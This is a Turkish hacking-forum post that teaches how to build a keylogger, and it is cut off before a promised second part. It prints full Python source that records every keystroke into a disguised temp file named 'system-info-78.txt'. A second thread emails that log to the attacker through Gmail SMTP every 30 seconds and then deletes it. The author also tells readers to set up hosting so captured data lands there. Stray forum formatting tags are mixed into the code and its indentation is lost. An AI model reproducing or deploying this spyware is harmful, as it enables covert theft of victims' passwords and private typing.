Selam Zalım Hıçkırlar ve Olağan Lamer Abiler
Güzel bir konu ile Başlamak İstiyorum Her Zalım Hackerın Yapacağı gibi Keyloger Yapımı
Önce Kodlarımıza Bakalım ve Anlayalım
Güzel bir konu ile Başlamak İstiyorum Her Zalım Hackerın Yapacağı gibi Keyloger Yapımı
Önce Kodlarımıza Bakalım ve Anlayalım
Not:
Kendinize Mutlaka bir Hosting Ve Domain Edinin Çünkü Bilgiler Oraya Düşecektir
Kod:
from pynput.keyboard import Listener,Key[/FONT][/FONT][/FONT][/SIZE][/CENTER]
[SIZE=6][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black]
[CENTER]from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import os
import time
import threading
liste = list()
cpdurum = False
shdurum = False
gr_durum = False
gr_liste = ["}",">","£","#","$","½","","{","[","]"]
shliste = ["=","!","'","^","+","%","&","/","(",")"]
rakam = "0123456789"
def main():
def bas(key):
global liste,cpdurum,shdurum,gr_durum
try:
if shdurum:
if key.char in rakam:
liste.append(shliste[int(key.char)])
else:
if key.char == "*":
liste.append("?")
elif key.char == "-":
liste.append("_")
elif not cpdurum:
liste.append(key.char.upper())
else:
liste.append(key.char)
elif gr_durum:
if key.char in rakam:
liste.append(gr_liste[int(key.char)])
else:
if key.char == "*":
liste.append("\\")
if key.char == "-":
liste.append("|")
if key.char == "q":
liste.append("@")
elif cpdurum:
liste.append(key.char.upper())
else:
liste.append(key.char)
except AttributeError:
if key == Key.space:
liste.append(" ")
if key == Key.enter:
liste.append("\n")
if key == Key.backspace:
liste.append("'<-'")
if key == Key.caps_lock:
cpdurum = not cpdurum
if key == Key.shift_r or key == Key.shift_l:
shdurum = True
if key == Key.alt_gr:
gr_durum = True
if len(liste) >= 30:
dosya_yaz()
liste = list()
def birak(key):
global shdurum,gr_durum
if key == Key.shift_l or key == Key.shift_r:
shdurum = False
if key == Key.alt_gr:
gr_durum = False
def dosya_yaz():
global liste
username = os.getlogin()
with open("C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt","a",encoding = "utf-8") as file:
for x in liste:
file.write(x)
with Listener(on_press=bas,on_release=birak) as listener:
listener.join()
def mail_gonder():
while 1:
time.sleep(30)
username = os.getlogin()
konum = "C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt"
try:
if os.path.getsize(konum) >= 60:
with open(konum,"r",encoding = "utf-8") as file:
icerik = file.read()
yapi = MIMEMultipart()
yapi["From"] = "kimden"
yapi["To"] = "kime"
yapi["Subject"] = "LOG"
yazi = MIMEText(icerik,"plain")
yapi.attach(yazi)
server = smtplib.SMTP("smtp.gmail.com",587)
server.ehlo()
server.starttls()
server.login("kullanici_adi","parola")
server.sendmail("kimden","kime",yapi.as_string())
server.close()
os.remove(konum)
except:
pass
t1 = threading.Thread(target = main)
t2 = threading.Thread(target = mail_gonder)
t1.start()
t2.start()
Şimdi Alıntılar İle İlerleyeceğiz Anlaşılır Bir Şekilde
from pynput.keyboard import Listener,Key
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText[
import smtplib
import os
import time
import threading
Baş Kısmımız Kütüphanelerimizi Dahil Ettiğimiz Alan
pynput.keyboard // USB İle Bağlı Cihazları Kontrol Etmemizi Sağlayan Kütüphanedir Örnek Klavye Fare Gibi
Listener,Key // Klavye Üzerinden Basılan Tuşları Algılamaya Yarar
email.mime.multipart // Mail Göndermeye Yarar
email.mime.text // Text Formatında Göndermeyi Sağlar
smtplib // Mail Sunucusu Ayarlamayı Sağlar
Değişkenler
// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin
// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin
liste = list()-
cpdurum = False
shdurum = False
gr_durum = False-
gr_liste = ["}",">","£","#","$","½","","{","[","]"]
shliste = ["=","!","'","^","+","%","&","/","(",")"]
rakam = "0123456789"-
Devamı P2 De P2 İçin Tıkla (Konuyu Yazdığımda Eklerim)
Moderatör tarafında düzenlendi:

